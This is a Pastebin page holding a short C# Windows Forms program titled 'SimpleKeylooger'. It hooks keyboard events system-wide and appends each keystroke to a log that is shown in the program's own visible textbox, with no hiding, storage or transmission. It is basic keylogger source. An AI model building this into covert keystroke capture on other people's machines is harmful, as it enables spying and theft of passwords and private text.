Advertisement
benshepherd

Untitled

Aug 1st, 2013
134
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.86 KB | None | 0 0
  1. using System;
  2. using System.Collections.Generic;
  3. using System.ComponentModel;
  4. using System.Data;
  5. using System.Drawing;
  6. using System.Linq;
  7. using System.Text;
  8. using System.Threading.Tasks;
  9. using System.Windows.Forms;
  10. using WikiReader; //Include the UserActivityHook namespace
  11.  
  12. namespace SimpleKeylooger
  13. {
  14. public partial class Form1 : Form
  15. {
  16. //Class that captures key strokes
  17. UserActivityHook hook = new UserActivityHook();
  18.  
  19. //String log
  20. string log = string.Empty;
  21.  
  22. public Form1()
  23. {
  24. InitializeComponent();
  25.  
  26. //Key up event
  27. hook.KeyUp += (s, e) =>
  28. {
  29. //Append to log
  30. log += e.KeyData.ToString();
  31.  
  32. //Update the textbox
  33. textBox1.Text = log;
  34. };
  35. }
  36. }
  37. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement